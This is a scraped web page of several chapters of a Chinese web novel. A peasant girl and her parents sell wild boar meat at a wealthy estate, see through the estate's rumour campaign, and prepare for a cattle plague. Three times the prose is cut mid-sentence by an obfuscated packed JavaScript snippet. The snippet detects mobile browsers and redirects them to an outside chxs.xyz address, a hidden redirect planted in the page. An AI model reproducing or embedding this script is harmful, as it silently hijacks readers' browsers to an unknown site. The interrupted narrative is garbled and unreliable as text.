不必去看檐下所结的红绸高灯，也不必去听庄内依旧喧沸的人声，乔小遇脚踩在这些厚厚的碎皮纸屑上，也能想象得到盛家女儿出嫁时的风光热闹。 有来凑热闹的庄户人家见到乔冉安几人，只瞥眼看过他们的穿着，便疑着他们不是来喝喜酒的，然面上还是笑着多问了句：“大哥是附近哪个庄户上的，我怎瞧着有些眼熟却又记不得名字？” 憨厚的乔冉安挠了挠头，朝人拱手笑道：“我家原是清水镇乔家村的，以前去县上倒是路经过几次盛家庄，没准与兄弟打过几个照面。” “乔家村啊，听过……” 那人若有所思地皱了皱眉，见乔冉安的模样就是个本分的务农人，脸上笑意深了几分，打趣道：“从那边赶过来吃酒也是有段辛苦路要走，所幸的是，你们还能赶上宴席呢。” 乔冉安闻言摆了摆手，爽朗笑道：“我们一家倒不是来赶宴席的，那些菜盘子里的好东西就跟王母娘娘的蟠桃宴一般，教我这种人吃了岂不是……” “我们一家虽不是来赶宴席的，却也想着来蹭蹭喜气，以后也能多攒些恩福。”乔小遇听得她爹这话的走向开始不对，赶忙打岔道。 她心里略觉尴尬，而面上却只能装作无辜却又活泼可爱的模样，对人扬了扬笑脸。 “这样啊……”那人的笑意终自然了几分，不再似与乔冉安说话时那般——几乎要挂贴不住。 乔小遇眨眼轻笑道：“盛家庄气派大，我们一家子只是偏僻村上的小门小户，没什么见识……” “这不是听说盛家庄上下待人亲善，才想着把昨儿家里往山上打得的野物送到这里来嘛。然而不知庄里缺不缺这些东西就罢了，现下转了个半圈，也不晓得该从哪个门进去，才不至于唐突了主人家……” “原来是这般……这盛家庄的庄主与管事的都是些纯善之人，你们到底辛辛苦苦走了这一路，他们当不会将你们拒之门外的。” 那人颔首笑了笑，领着乔小遇他们来到侧门处，才招手离去——可算得是个热心人了。乔小遇与她爹娘再三谢过，方才试着轻扣了扣门。 “哎哟，来了来了，这一天到晚的可是忙断腿了……”话音渐近，开门的一个粗使婆子见来人都是些生面孔，便只将门半开了一道罅隙。 “你们是？”婆子上下打量了眼那低站在门槛外头，而身量甚至未够到自己腰际的乔小遇，旋又将视线转落在乔小遇身后的乔冉安夫妻俩身上。 傅娘子紧忙上前走了两步，说明来意。乔小遇站在一旁乖乖听着，抬手将那层由额间渗流到眼皮上的汗液拭了，方才觉着视线明亮了些。 婆子闻言皱了皱眉，道：“盛家这次的婚事虽然办得仓促，但管事的吩咐了许多人手忙着，东西倒也不缺什么……” 乔冉安与傅娘子闻言相视一眼，面上均不由得浮起一股淡淡的失望。 乔小遇轻抿唇说道：“我们背的除了些野猪肉，亦还有些石蚌和野兔肉，都是山里逮的，滋味或许比家常养的要好些……” 她寡白的脸色在阳光的映照下几似透明，仿佛初春时将融的溪流一般。 “是么？”婆子有些动容，稍稍低俯了身往乔小遇的篮子里看去。 且瞧着那石蚌竟是放在罐子里用水养着的，当下还在里头胡乱爬着，婆子脸上的笑意便不由得深了几分，道：“你们先在这等一会儿，我去问问管事的意思。” “那可多谢您了。”虽背着篮子，可乔小遇却还是尽力微俯了身，朝婆子拱手谢过。 “不妨事的……”婆子笑了笑，叮嘱几人就在原处等待后，又折身进了门去。 傅娘子听这婆子愿意帮忙递话，失落的心情直转为忐忑，手掌亦不由得紧握起来。 乔小遇与她爹娘并未依言将篮子放下等待，仿佛只有当那重量直压在背上才能令他们安心些。好在那婆子并未耽搁多久，便领了几个人往侧门这边过来了。 “来了来了……”傅娘子从门缝处瞥几道身形，欢喜地碎念了几声，旋又回头对乔冉安父女俩摆了摆手，示意他们退到石坎下头去等。 乔小遇原就不曾站到石坎上来，但瞧着爹娘心怀惴惴，亦又有些急不可耐的模样，忍不住摇头失笑。 “不是叫你们放下等吗？这背着可重哩。”婆子将门打开半边，待迎上乔冉安夫妻俩那两张朴实的脸时，话音多了几分亲昵。 傅娘子呵笑道：“这不是想着若将篮子放下歇一会儿，再背着起身怕是更费力么，也不好将篮子顿在这门口的石坎上，让人不好进出。” 婆子闻言笑着点了点头，接着让开半边，让管事的出来问话。 管事的是个蓄了长须的中年男子，他颧骨略显突出，只嘴巴两边的脸颊上怕是堆叠了不下半斤的肥肉，莫名地透出一种不和谐感。 “你们这野猪是在野山林里猎的？” “正是正是。”听得管事的问话，乔冉安忙不迭地点了点头。 “光野山林到乔家村的路就是十多里了，你们这般可实在是折腾得紧，只怎么又想着赶到盛家庄来送肉的呢？”管事的一边问着话，一边瞥眼看过猪肉的好坏。 乔冉安学了女儿先前的话，拱手说道：“这不是听说盛家庄有喜事么，还连办了几日的流水席，附近几里地的庄户人家都来捧场，我们便也想着来凑凑热闹，沾些喜气……” 乔小遇抬眼瞥过管事，但见他面上因这般受用的话而不由得泛起一抹得意的笑容，引得那肥肉亦跟着轻轻颤动，心下却觉着有些奇怪：“没想这管事的竟对乔家村的情形这般熟悉……” “那便进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924362|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来吧，你们背来的东西庄里都要了。”管事的眯眼轻笑了笑，示意身后的小厮将两扇门都打开来。 逢着有人来寻管事的往前院去一趟，管事的忙吩咐过婆子和小厮算钱，留下句“多少不说且不能让人白跑一趟，回头去账房里支银子”的话后，便折身先走了。 乔冉安一家虽插不上什么话，心下却是明白：这事终究是成了。 因石坎太高，进门时傅娘子忙帮女儿提着下篮子，旁边的婆子但瞥见乔小遇那已被磨得通红的脖子和后颈，不禁低叫了声：“哎哟，真是作孽！” 婆子紧忙使了小厮上前帮忙，将乔小遇的篮子退下。 乔小遇话音糯糯地谢过，想及陆桓先前对盛家人的评价，暗自在心头补充了句：“其实不论处境、身份，人都多有动恻隐之心的时候。 “至于如那管事的想充个脸面也好，还是博个名声也罢，好歹买了我们带来的东西。单就这点，便已算得是一件好事。” 乔小遇得了松快，心情便也跟着畅快了几分。 乔冉安所背着的篮子底处还滴着些血水，而他似是想着这血水滴在人家的青石板上就跟得罪了庙里的太岁一般，竟回过手扯了垫背的口袋将那些血水抹去…… 这一幕落入乔小遇眼中，一时令她情绪莫名。 终究有些局促的吧——忍不住四处张望却又担心主人家说自己不懂规矩。 乔小遇几不可闻地轻叹了声，心道：“爹娘许不曾见过如盛家庄这势派的人家，不怪他们目瞪口呆了。” 而她亦不由得渐生懊恼，“只可惜盛家庄这地方只能来这一次，下次再背肉来，人或许便当我们是来占便宜的了。” 随在大人身后作乖巧状的乔小遇，但瞧着小厮帮忙称量，婆子在旁记账的情形，干裂的嘴唇不禁抿起一道微翘的弧度，心下补充道：“虽然我确是存了心想占便宜。” 那婆子记账时一边清点了钱目数额，乔小遇在旁便且听着她算盘打得噼啪响，心头已计好了账，不禁窃喜异常：“竟都是按照实价给的……” 鱼兔等物便就算了，只那野猪竟是按着未发生牛疫之前的价钱给的…… “统共是八两银余三十二文铜钱，逢着庄上喜事，便凑个六十六的吉庆数吧。” 婆子将记着的几个条陈递与傅娘子看，笑道：“方才算账时，瞧着娘子亦在旁细细听着，想来是懂些账目的，要不你再给核一番吧。” 傅娘子笑着伸手挡了挡，道：“您说的哪里话？我便耳听着，都是那打算盘的声响哩，难不成自个儿脑子却是比那算盘计得还要清楚的？” “这位娘子说的颇有几分理，不过也就只有你们这般心实不过的人家才会这般想了。” 接话的小厮往灶角里搬出一只半大的缸来，待将乔小遇所背来的那只罐子里的石蚌给腾进缸里装着后，才冷讽说道：“便说咱庄里那位已嫁入陆家多年的盛大娘子……” 34. 闻君绯闻 “知她日子过得不易，庄主和夫人没少四处帮衬。可逢着庄上的喜事，盛大娘子竟还上庄里来闹了。昨日那情景，可真是好一通呼天抢地，盛大娘子只说是为了寻她儿子，却将盛家庄的面子里子都给丢了个干净。” 小厮轻“啧”了声，继续说道：“来往宾客这样多，大娘子一闹，却是教不知情的人浮想联翩，差些坏了咱家二姑娘的清誉，也不知二姑娘的夫家听闻此事后是否会因此轻慢盛家……” “唉，也就庄主和夫人性子好，都到了这份上竟不曾对盛大娘子多苛责半句，只好言好语地将人劝离了庄上，并派了庄里的护卫去寻表少爷……” 听小厮将话说及此处，乔小遇且瞧着旁边的婆子不曾出言相阻，似不曾意识到小厮所言实有评判主人家事之嫌，还任由小厮说开去，心间不由得生出疑云。 “不知我此时收回先前以为这婆子与小厮俱动了恻隐之心的想法可还来得及？”乔小遇心下暗暗想着，侧目瞥过她娘那副已然听出了几分兴致的模样，便知今日这盛家庄的门进来容易，想再出去却是“难了”。 人便是有意的，而非盛家治下不严。 乔小遇腹诽一通，自嘲道：“什么吉庆数……爹娘哪里是实心人，分明是缺心眼，以为那多出的几十个铜钱是白拿的？盛家庄的便宜竟真这般好占？” 总要给人宣扬一通什么纯善友顺的恭维话才算数的——尽管这话对轻易就被几十文铜钱给“收买”了的乔冉安夫妻俩而言，并不算什么难以启口的词，甚至也称不上什么“恭维”之语。 许他们感激涕零，心里便是这么想的呢。 只这般又是何必？她爹娘哪里懂得这当中的弯弯绕绕，人既与了他们方便，他们自只有感念别人的份，难道还会说半句盛家庄不好的话不成？ 乔小遇皱了皱眉，心道：“至于那所谓的盛大娘子，便应是陆桓的娘亲了。寻子寻到娘家来，实怪不得外间传言纷纷。” “盛大娘子不见得就怎么闹了，只庄内总有两个管不住嘴的，许跟着往外头说道了些类似于‘青梅竹马’的词句，外人所叹的便不仅在于陆桓娘亲打盛家庄脸面这样的话了。” 果然，乔小遇的心思方转到这里，便听那小厮继续开口说道：“再说来，表少爷从前虽常往盛家庄来，那也是因着两家有着这一层亲的缘故，盛大娘子便是要来寻人，也实不必作出那般姿态，倒像是盛家庄把表少爷给扣住了一般……” “是啊，都是亲戚，既来吃趟喜酒，便应和和美美的。问过不在，便应到别处寻去。”傅娘子是个极易被勾起情绪的人，无奈轻叹，道：“依我看，庄主和夫人还能遣了人去帮着找，实已算得仁至义尽。” “可不是么，只这事也不全然怪盛大娘子。”那婆子亦跟着轻叹了声，道：“表少爷自他爹去世后，便少了许多管束，也不知是一时心血来潮去了何处玩耍，竟不曾与盛大娘子说一声，如此才惹出了这风波。” “这可真是……”傅娘子脑海中寻思半晌，却实在找不出一个合适的词来形容陆桓的顽劣行径，便只得咂了咂舌。 “只盼着表少爷日后行事不要再如此莽撞了，徒惹母亲日夜挂怀已是不孝，偏还令盛家为人非议……” 婆子连连摇头，似不愿再往下说去，而在旁称着碎银的小厮却偏侧过头来，耸肩轻嗤道：“我看表少爷就不曾意识到自己错了。这人是昨晚就回来了的，却到今早才给盛家庄递消息，可难为那些一直在外头寻他的人了。” 话音落毕，自然又是一阵无奈轻叹。 乔小遇且看着她爹娘伸手接过银钱，可眉目间竟未显出几分欣然之色，反倒还想着盛家庄的这件家事，满心带了同感的情形，一时竟有些哭笑不得。 她爹娘便这般偏听偏信了…… 若教他们得知今日这头教他们背得费力、亦因此多得了几两银钱的野猪便是由陆桓所射，不知他们心里又会怎么想。 乔小遇摇了摇头，眸中情绪莫名。 已将爹娘性子摸得清楚的她，嘴角忍不住勾起一股带了促狭与无奈意味的轻叹，暗道：“好在不论爹娘此时被蒙得如何真情实感，出了这盛家庄的门便不会太过关注‘别人家的愁苦’了。” 乔小遇着意将自己的心绪放缓了几分，以为就此便能似山中清溪一般畅意地流淌向前，只她终究遇到了阻滞，暗喃道：“陆桓他放父亲竟已过世了？而他与这位盛家表妹……” “与这位盛家表妹定是青梅竹马。”她心底有个声音如此补充道。 乔小遇没有想到此之一行，自己所耳闻目见的并不仅是陆桓口中那甚是爱重名声的盛家人的行举，亦还有关于陆桓的一些流言。 然而，从别人口中探知所得终究片面，而似她爹娘这般暂意识不到这种片面，甚至还觉着自己身处其中的情形，乔小遇只能“鄙”而远之。 “鄙”能暗鄙，“远”却暂远不了。 他们一家人虽不是来赶宴席的，却还是被婆子安排到了宴上。 便垂目看过一眼自己那身满是污泥与补丁的衣裳，乔冉安夫妻俩说不拘束是不可能的，且他们所坐之席靠近院中，坐身时亦能清晰地感受到数道停落在自己身上的灼热目光。 同席的人虽觉着乔冉安一家的着衣不甚雅观，却也仅是心存疑惑，面上并无半分鄙夷之色，接着还热情地与他们打过招呼…… 而正如乔小遇所预料的那般，在问过她家里的来历与来盛家庄的缘由后，席上许多人不禁起身执酒相赞盛家，口中所言，均以何年何月受过盛家何种恩惠为统一句式…… 乔小遇听来实在觉着没什么心思，口中倒是吃得津津有味，只等话题转到盛大娘子上头后，原先的百无聊赖却渐转为暗声嗤笑——盛家依旧是原来的盛家，而陆桓与他娘，所负“罪责”直可列出个清晰的条目了。 “若只是为了个外嫁的女儿的所谓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924363|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清誉，盛家庄何必划出一道这样明显的界痕？事情的风向明明可以往别的方向引导，可盛家庄的行举却像是有意为之……” 思及此处，乔小遇渐觉着口中饭食味同嚼蜡，有些难以下腹了…… 离了盛家庄后，乔小遇一家并没有直接启程回乔家村，而是往清水镇的方向行去。 他们需要去镇上换些米粮…… 傅娘子把乔小遇的空篮子退下背着，但瞧着女儿那已被磨得退皮的肩膀，也下意识仿了那盛家庄的婆子骂了句：“真是作孽！” “路上也没听你说半句苦，你这孩子竟是打碎了自个儿牙也不哼出声的么？”傅娘子心下不禁生出了几分自责…… 也不是从何时开始的，乔小遇这个算不得她与乔冉安长女的孩子，已担起了家中长女之责——只这与她的年纪并不相称，而他们身为父母的，却浑不觉自己将乔小遇当是半个大人支使。 当这种支使渐成为一种习惯，更多的时候，也只有当村里人当着他们的面夸赞乔小遇能干懂事时才能教乔冉安夫妻俩意识到这种支使的存在，以及想起那个被人领养去了的乔小知…… 个中辛酸苦楚，很难对外人道言，而乔冉安夫妻俩也“习惯”了压抑住这种情绪，因为有些“尴尬”的是，这种情绪的外溢并不见得为乔小遇“理解”。 他们见过乔小遇的“冷漠”，而在这种认识的基础上，夫妻俩时有所觉的关于女儿的暗自付出，却又令他们捉摸不透。 “娘，我没事的，其实我背的东西并不重，只篮子手有些硌，这才磨到了肩膀。”乔小遇对她娘轻扬了扬笑脸，道。 “你这倔嘴……”傅娘子一阵皱眉。 乔冉安在旁补充道：“等回头让你娘给你缝两块厚布条垫在篮子手上，那样许会好些。” “好哩。”乔小遇咧嘴欢笑，旋即跟到了她爹身后——如此，可算是避开了她娘眸中的那抹苦色。 “总要向前看的，总为着过去或是当下的情景而苦思不已，能有什么用？”乔小遇暗暗想着，几不可见地摇了摇头。 傅娘子可算是觉察到了乔小遇这避开的举动的刻意性，便只得将话题转到盛家庄上…… 自然，且毫无意外，乔小遇复又听得她娘说起那些关于盛家庄如何吃力不讨好，陆桓母子如何使人陷入窘境的话来。 “这跟咱家有什么关系么？”乔小遇的话音淡淡的，侧目瞥见她娘那略显得错愕的神色，接着道：“娘，咱们已经离开了盛家庄，便没那必要再惦记着盛家庄的事了……” “你这孩子说的什么话？”傅娘子一阵语塞，一旁的乔冉安也冷了脸，额间皱起道道轻褶。 乔小遇心里轻叹了声，暗觉这种由年龄所定义的长幼尊卑实在让人头疼，便算她尽力以平和的语调说话，方式是婉转或直接，也总有被乔冉安夫妻俩误解的成分衍生而出。 “娘，难道您就不觉得奇怪么？” 35. 没有侥幸 乔小遇轻吸了口气，无奈地看向她娘，道：“盛家庄是什么地方？主仆分明，哪里轮得着下人去评判主人家的事？这是盛家庄治下不严？可您也瞧见了，在咱们进庄子时，那婆子却是四处谨守规矩的。” “这……他们不过是为主人家抱两句不平之语罢了。”傅娘子的话音终究带了几分不确定，舌尖轻触得齿壁却似被扎到了一般猛地收回。 “我们不过是户普通人家罢了，人与我们抱不平？”乔小遇冷嗤了声，面上转为一抹淡淡的笑意，道：“可咱们还不是被人安排着去了宴上，被动或主动地宣扬了一波盛家庄的好处……” “最后的结果是什么？是您即便不曾见着盛大娘子昨日来盛家庄求助的情景，却也似亲眼目睹了一般。左右盛家庄放出来的消息是什么，众人都在脸上摆出了一副深信无疑的模样。” 乔小遇摊了摊手，又道：“且在宴上，您可曾听到人说半句关于盛二姑娘清誉有损的话？我默然听过半晌，却不曾察觉到这一点……敢情盛大娘子全然成了个心存冲撞，特地回娘家撒泼的妇人了？” “可这当中有什么干系？”傅娘子不解地紧蹙了眉，终究收了帮盛家说话的心思。 乔小遇的眸色清浅，语气不甚在意地道：“我怎知晓……只此事的结果很明显了，关于那位盛二姑娘与表少爷的事没几个人当真，回娘家寻子闹事的盛大娘子则成了一个以为自个儿脑子比算盘还要计得清楚的人。” “如我们这样的外人，都觉着陆家母子忘恩负义，这便是盛家所求。”乔小遇抿唇摊手道：“或许还不仅如此呢。” 闻言，傅娘子与乔冉安不由得面面相觑，脸色一阵变幻。 “没想这里头竟还有这许多曲折……便因为在这样一个当口来了盛家庄，所以人才不好拒了我们的吧。”傅娘子可算得明白过来了几分，缓声轻嘘道。 “这些人的花花肠子，竟是比猪肠子还要长的？”乔冉安鄙夷出声。到底他篮子里还背了盛家庄所送的两只鸡腿和一块豆腐，以至于这话音连同他的动作都显得低浅异常。 傅娘子皱眉道：“即便这事是盛家有意为之，可一个巴掌拍不响，到底是那个陆家的表少爷惹出来的事……” “那位陆家的表少爷如何？”乔小遇虽知她娘是个难收心回来的人，可当下却不知从哪里紧憋了口气，道：“可昨儿傍晚时，爹娘都还夸他来着，什么心存孝道、有情有义……” 饶是傅娘子与乔冉安的脑子再怎么难转得过弯来，却还是将他们认知中的“表少爷”与那个猎了头野猪送与自家的少年郎给对应了起来。 “竟有这样巧的事？” 傅娘子面上笑意微滞，尴尬的眸光但与女儿那蕴了几分无奈意味的双眼相触，忙将自己面上的笑意尽数敛去。 虽问说这种“对应”太过巧合，然话音方落的傅娘子紧跟着便想到了昨晚与女儿的那段对话来： “为何要去盛家庄卖？人若是不要，那咱们岂不是白跑一趟？” “陆桓与我说，这两日盛家庄上有桩喜事来着……” 傅娘子与乔冉安相视一眼，然腹中之语尽憋，不知该说什么才好。 诚然，乔小遇虽不曾将进山得遇陆桓的一应细节都讲与乔冉安夫妻俩听，也不曾提起陆桓对于盛家庄的评价——当中有淡化、有失实，但在乔冉安夫妻俩不曾将那种“对应”建立起来之前，陆桓完全就是个为了给母亲猎块麕皮补靴而孤身进山的少年郎。 默然，或许才是结束话题的最佳方式。 傅娘子与乔冉安不再开口提及盛家庄的事，也因着心存尴尬的缘故，不再评价陆桓。 直到离清水镇上近了，傅娘子才问起乔冉安：“对了，袁大娘子离开镇上后，那裁缝铺子是暂时关了，还是另盘给别家做段时日？” 乔冉安摇了摇头，道：“这我倒不曾问。想来当时的情况那般紧急，想立马就把铺面盘出去并不是件容易的事，且生意也不好做了。” 傅娘子轻轻颔首，道：“我是听说她那二姑娘有孕在身，腊月上孩子便出世了……袁大娘子帮了咱家这么多，如今我们也算得了点闲钱，便想给她捎些小孩子穿的帽子袄子什么的过去。” “可我只晓得她二姑娘家住在泗淮县上，姑爷做的木具生意，旁的却是不清楚了。”傅娘子的语气带着几分商量的口吻，而眼神则是朝乔小遇的方向探过来的。 “那便去镇上寻人问问吧。”乔冉安一向对傅娘子是言听计从，当下略想了想，亦不曾觉得有什么不妥。 傅娘子心里低嘘一声，她便知这种事问乔冉安是毫无建议性可言的，是以眉间神色轻凝，转而笑眯眯地问女儿道：“小遇，你觉着呢？” 方才她出言提说时，便已瞧见女儿眉色紧蹙，想及自己口中这所谓的“闲钱”还是女儿赚来的，便想着问她一问。 “娘，咱家这点闲钱都不够用的。”乔小遇低叹出声道。 她这是要反对么？ 傅娘子心下如此以为，接着清了清嗓子，正想说自己捎的东西也就是两三样，当花不了多少钱时，又听乔小遇道：“再说袁大娘原本就是做这门营生的，她孙儿又怎会缺这些东西？” “说的也是。”傅娘子的话音变得讪讪起来，似混了口唾沫般重新往喉咙口处咽了回去。 乔小遇侧头看了眼她娘眸底的那抹失落之色，轻笑道：“你若想送东西，也当送些大娘家里可能缺的……” “大娘家里条件可比咱家好多哩，还会缺什么不成？”傅娘子的神色终变得和暖了几分，她轻轻地抚了抚女儿的头，笑道。 “这可不见得。”乔小遇眉眼轻弯，说道。 只傅娘子却已然打消了送东西的念头，且当女儿不过说的玩笑话罢了。 似乎从来只有别人帮衬自己的份，而自家能还上的恩情却少得可怜…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924364|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >傅娘子且感受着那个被她放在怀中的钱袋子渐有了与她的身体相近的温度，嘴角不禁泛起一抹苦涩的笑意来。 一旁的乔冉安还出声安慰她：“你也别多想了，袁大娘子从来便不是个计较的人。” 夫妻俩开始说起絮叨话，脚上步子便也慢了几分。 走在前头的乔小遇听了片刻后，却是顾自轻喃：“许是经了菜粉婶子硬自拖了家里进泥坑的事后，娘便不由得愈发感念起袁大娘的恩情来。只娘心里堵了口气，不曾细想事情的关节主要是在乔宝树身上……” 乔小遇看得出，她娘的性子已比从前已少了许多计较，多了几分宽和，却终究定不下那个心思与长田叔家里疏远。 比如现下爹娘口中所念叨的，便是何里正为着乔长田家的牛是否得了疫病的事去寻他们，可家中只有小妹在，怕是会为此为难乔长田家…… “爹，娘，其实长田叔家的牛若没有染疫，他家中自有兄弟亲戚为其出头，你们暂不必担心。可若真得了牛疫，咱家再牵扯进去可就不好了。”乔小遇眸色略沉地道。 “不会吧，没来由的怎就染上牛疫了呢？”傅娘子话音嗫嚅，似乎不曾有过此中设想。 乔小遇本想道说“怎么就不可能”的话，只念及自己并非医官，哪里有说这话的资格，便只道：“可万一呢？” “万一真染了牛疫，村里人会否觉着爹娘存心袒护长田叔家，而不惜使村里的牛畜都染了病呢？” 乔冉安夫妻俩闻言不禁木愣了片刻…… 若村中当真发生疫情，那便是另一番光景了。乔冉安夫妻俩与村里的许多人家一般心存侥幸，不过想着牛疫当不会传得如此之快罢了。 然而提说侥幸一词，便往往意味着事情将成。 …… 来到清水镇上后，乔冉安夫妻俩的脚步不由得微顿。 “比起上次来时，这镇上已是冷清许多。”乔冉安低叹出声，面上难掩凝滞之感。 比起乔冉安，傅娘子对镇上的情景还要熟悉些，她指着几家临街的已歇业的铺子说道：“这几家平日里是卖农具与竹器的，倒不知是不是生意做不下去了才关的门。” 一股毫无征兆的恐慌感自夫妻俩的心底弥漫而起…… 恰似一团乌黑的阴云，只由风轻挟着，便在不知不觉中将那轮泛着清辉的明月遮挡而去。 乔小遇她爹娘还未等得往米粮店里换些糙米等物，便忙着往镇上杀猪的胡老四家里奔…… 胡老四家院中搭着许多竹竿，上头全沥挂着些猪肠与腌肉，而他家门口的小摊上，却不过摆了几节排骨作样子，也没个人看着。 “都没人来买猪肉了，大家伙心里可都怕了。” 胡老四唤他娘子给乔冉安一家倒了些白开水解渴，接着说道：“我收了赶猪人的钱，这猪肉也没问题，便也不好得悔口的不是？卖不出去，便只能自己腌了留着，放在地窖里。” 36. 宰猪买粮 胡老四指着满院里的竹架苦笑着补充道：“至于那些猪肠子，送给隔壁邻居家一些后，剩的便索性称了些豆腐回来灌肠子了。” 傅娘子又问过胡老四如今的肉价…… 果然贱低！然而这还不是令人最为忧心的一点。 依胡老四的说法，如今赶猪人也少做这门生意了，不得利不说，隔壁镇上有几个村子已然发生牛疫，官府便下了严令不允赶猪人再去买猪。 “官府如今也只能尽力救治猪牛等畜，可若还是不行，终免不了直接宰杀的……” 从胡老四家出来，乔冉安夫妻俩的脸色已然十分难看。便是再问过镇上那位曾经买过家里鸡枞油的饭馆掌柜，得出的结论也相差不多…… “没想外头已是这般情形……那咱家的猪仔，可还等得到霜降后那些赶猪人进村呢？”傅娘子说这话时，已是愁眉难解。 “只怕赶猪人都已不去了。”乔冉安接过话头道。 可一旁的乔小遇却摇了摇头，“只怕等不到霜降，也等不到赶猪人到村里买猪，乔家村便已然是个染了牛疫的荒村。” 闻言，傅娘子的嘴唇抽动了动，仿佛不过一个呼吸，她那微凸的眼球上便爬满了如蛛网一般的血丝，一时间颜色斑驳：白的、黄的、红的…… 而她的心情并非同这难以分辨的颜色一般复杂，而只是“简单的”慌乱无主，“这……这可该怎么办才好？” 傅娘子的后脊早已为一阵冷汗所浸湿，紧颤的指尖忙一把抓过乔冉安那双僵直的手臂，齿间话音生涩地同乔冉安说道：“你且……且拿个主意啊。” “我……我……”乔冉安的话音断断续续的，他低垂了头，紧避开妻子的视线。 傅娘子面上神色渐转为失望…… “就知道问你也无用。”她深吸了口气，微微佝偻着的身形几乎要隐入粮铺檐下的阴影当中。 傅娘子心里其实应当清楚，乔冉安在这个家里从来便不是拿主意的那个…… 可该怎样才好呢？ 傅娘子的神思已迷恍了几分，她紧忙咽了口唾沫，好教自己的嗓子不那么干哑后，才缓声说道：“不如我们自己将猪仔赶来镇上卖了？” “或是去县里？”傅娘子回想起胡屠夫家里的情形，只怕镇上是来了也无用，旋又如此补充道。 她怔怔地看着乔冉安，只盼着他点头…… 点了头后，事情就算定下了？傅娘子不知怎的，心下却又生出一丝犹豫来。 “何必那样麻烦？”乔小遇斜靠在米粮铺子的方柱上，但见着爹娘均一副六神无主之态，只得稍稍按下心间的焦急与无奈，道：“咱们请几个人，直接将猪宰了就是。” 她缓将自己轻转着的足尖收回，暂不去想微斜的日光渐已将布鞋的影子拉长，只叹声道：“山高水远的，便将猪仔赶到县里卖了，倒不知能得多少银钱？” 能得多少银钱，这似乎才是重点…… 傅娘子渐意识过来，眸光终不似之前那般涣散了，而唯一的顾虑便是：“可家里的猪仔却足足有四头啊……” “您嫌多？”乔小遇呵笑出声。 话虽如此，可乔小遇是明白她娘的心思的。她敛了几分笑意，跟着劝道：“不管几头，如今若不宰了，他日染上疫病只怕家里后悔不迭。” “何况现在的市价并不好。咱们便先将它腌了存着，等牛疫过去卖也是可以的。” 乔小遇语调平缓，待瞧着她娘轻轻颔首，才道：“今早出门时，我便与你说过少喂面糠的话，左右明天家里杀猪洗肠子时便不用多费力气了。” 没了积食，肠胃稍空，翻洗肠子时自然不会恶臭难闻…… 乔冉安夫妻俩的眉梢间渐染上一抹喜意，可紧接着，他们喉咙口的气息竟似被一层透明的膜给封住了般——顶得生疼，待破之而出时，那话音已带了种“干裂感”。 “敢情你是早就寻思着将家里的猪给宰了的？”傅娘子心知自己尽问了些无用的话，只她终究有些错愕…… 乔小遇的眸光清澈而柔和，而发白的嘴唇上的几条血缝似是因着这股笑意才皲裂开来的。 乔冉安终于缓过神来，眸色隐了几分不忍，道：“你既然已经有了主意，为什么不直接与我和你娘说？” “因为你们可能并不会信我，因为你们舍不得直接宰了家里的那几头猪……”乔小遇声音清浅，而眸光中情绪流涌，仿佛松脂受热融化了般。 乔冉安夫妻俩听得此言，竟是半句话都应不上来，直觉着心肺处的表皮似爬上了一只螳螂，而螳螂的前臂正试探性地戳着血肉——这无疑激得他们的心口处一阵紧缩。 傅娘子还能如何开口怪责女儿的自作主张呢？ 事已至此，家里的猪仔终还是早些宰杀了的好。人既已都难以裹腹，难道还惦记着猪的吃食不成？傅娘子咬了咬牙，终是下定了决心。 …… 听得米粮铺子的掌柜说粮价又涨了些，傅娘子且握着手里的钱袋，与乔小遇相视半晌后，竟将手中的钱袋子都推了出去。 “掌柜的，这里的银钱便都做定金了。” 傅娘子的动作实在是干脆利落得紧，直令乔小遇与她爹眸色发直，便是店掌柜的也不由得微愣了愣，问道：“傅娘子，你这些蓄粮怕是已够吃到明年开春了……” 傅娘子神情定定地点了点头，接着道：“过几日，我们便将余下的银钱补上。” “家里哪还有余下的银钱？”身后的乔冉安不禁心生疑窦，只他终究强忍了挠头的冲动。 掌柜与店小二听得傅娘子的语气这般笃定，便也不再多问，只连忙带着样米与锥子，引着傅娘子去隔壁库房里选粮。 傅娘子却说不急，回身来对乔冉安叮嘱道：“你去胡老四家里打个招呼，问下能不能往他家偏屋里腾些地方给咱家放粮，且让他帮咱们看护几日。”

